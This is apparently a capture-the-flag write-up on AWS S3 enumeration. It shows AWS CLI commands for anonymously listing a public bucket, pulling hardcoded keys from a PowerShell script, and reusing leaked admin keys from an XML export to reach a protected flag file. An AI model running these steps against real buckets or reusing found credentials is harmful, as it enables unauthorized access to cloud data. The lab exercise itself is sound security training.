s3 Enumeration

Analyze the challenge

The challenge asks to find the flag in the AWS S3 bucket `dev.challenge.com` which is related to a website found in a phished employee's bookmarks. The flag format is MD5 hash unless specified otherwise.

Plan of action

1. **Website Inspection:** Analyze the website and its source code.
2. **S3 Bucket Enumeration:** Use the AWS CLI to interact with the S3 bucket.
3. **Directory Exploration:** Investigate different directories within the bucket.
4. **File Download and Analysis:** Download and analyze files found in the bucket.
5. **Credential Discovery:** Identify and utilize AWS credentials found in the downloaded files.
6. **Privilege Escalation:** Escalate privileges by using discovered credentials to access more sensitive data.
7. **Flag Retrieval:** Locate and retrieve the flag.
8. **Website Inspection**
    - Navigate to `http://dev.challenge.com`.
    - View the page source to find references to an S3 bucket.
    - The source code indicates that the S3 bucket `dev.challenge.com` is used for static files.

    The website itself doesn't reveal much, but the source code points to the S3 bucket, which is the next target.
9. **S3 Bucket Enumeration**
    - Attempt to list the bucket contents using:
        - `aws s3 ls s3://dev.challenge.com --no-sign-request`

    This command lists the bucket's contents, revealing several directories. The use of `--no-sign-request` is crucial for anonymous access.
10. **Directory Exploration**
    - Attempt to recursively list all directories:
        - `aws s3 ls s3://dev.challenge.com --no-sign-request --recursive` (fails for `admin` and `migration-files`)
    - Check individual directories:
        - `aws s3 ls s3://dev.challenge.com/admin --no-sign-request` (access denied)

    - `aws s3 ls s3://dev.challenge.com/migration-files/ --no-sign-request` (access denied)
    - `aws s3 ls s3://dev.challenge.com/static/ --no-sign-request` (accessible but contains only web files)
    - `aws s3 ls s3://dev.challenge.com/shared/ --no-sign-request` (accessible and contains `hl_migration_project.zip`)

  The `admin` and `migration-files` directories are not publicly accessible. The `shared` directory contains a potentially interesting zip file.

11. **File Download and Analysis**

    - Download `hl_migration_project.zip`:
      - `aws s3 cp s3://dev.challenge.com/shared/hl_migration_project.zip . --no-sign-request`
    - Unzip the archive:
      - `unzip hl_migration_project.zip`
    - Examine the `migrate_secrets.ps1` script.
      - `cat migrate_secrets.ps1`

    The zip file was downloaded. The PowerShell script inside contains hardcoded AWS credentials.

12. **Credential Discovery**

    - The `migrate_secrets.ps1` script contains:
      - `$accessKey = "xxxxxxxxxxxxxxxKXEHU"`
      - `$secretKey = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxX/gb9"`
      - `$region = "us-east-1"`
    - Use `curl -I https://s3.amazonaws.com/dev.challenge.com/` to verify that the bucket is in `us-east-1`.
    - Configure AWS CLI with these credentials:
      - `aws configure` (Enter the access key, secret key, region as `us-east-1`, and leave the output format blank)
    - Verify the credentials:
      - `aws sts get-caller-identity` (This reveals the IAM user `pam-test`)

    The credentials were configured and verified. The `pam-test` user likely has limited permissions.

13. **Privilege Escalation**

    - Try accessing the `/admin` directory again:
      - `aws s3 ls s3://dev.challenge.com/admin/` (Lists `website_transactions_export.csv` and `flag.txt`)
    - Attempt to download `flag.txt`:
      - `aws s3 cp s3://dev.challenge.com/admin/flag.txt .` (access denied)
    - Access the `/migration-files` directory:
      - `aws s3 ls s3://dev.challenge.com/migration-files/`
    - Download `test-export.xml`:
      - `aws s3 cp s3://dev.challenge.com/migration-files/test-export.xml .`
    - Examine `test-export.xml` for new credentials:

        - `cat test-export.xml`
        - AWS IT Admin:
            - `AccessKeyID: xxxxxxxxxxxxxFWFGCD`
            - `SecretAccessKey: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxbnL4hY6jP`
    - Configure AWS CLI with the new credentials:
        - `aws configure`
    - Verify the credentials:
        - `aws sts get-caller-identity` (This reveals the IAM user `it-admin`)

    The `pam-test` user couldn't access `flag.txt` but could access `test-export.xml`, which contained credentials for `it-admin`. This is a clear case of privilege escalation.

14. **Flag Retrieval**

    - Attempt to download `flag.txt` with the `it-admin` credentials:
        - `aws s3 cp s3://dev.challenge.com/admin/flag.txt .`
    - Read the contents of `flag.txt`:
        - `cat flag.txt` (This reveals the flag)

    The `it-admin` credentials allowed access to `flag.txt`. The flag was successfully retrieved.

xxxxxxxxxxxxxxxxxxxxxxxxxx086b8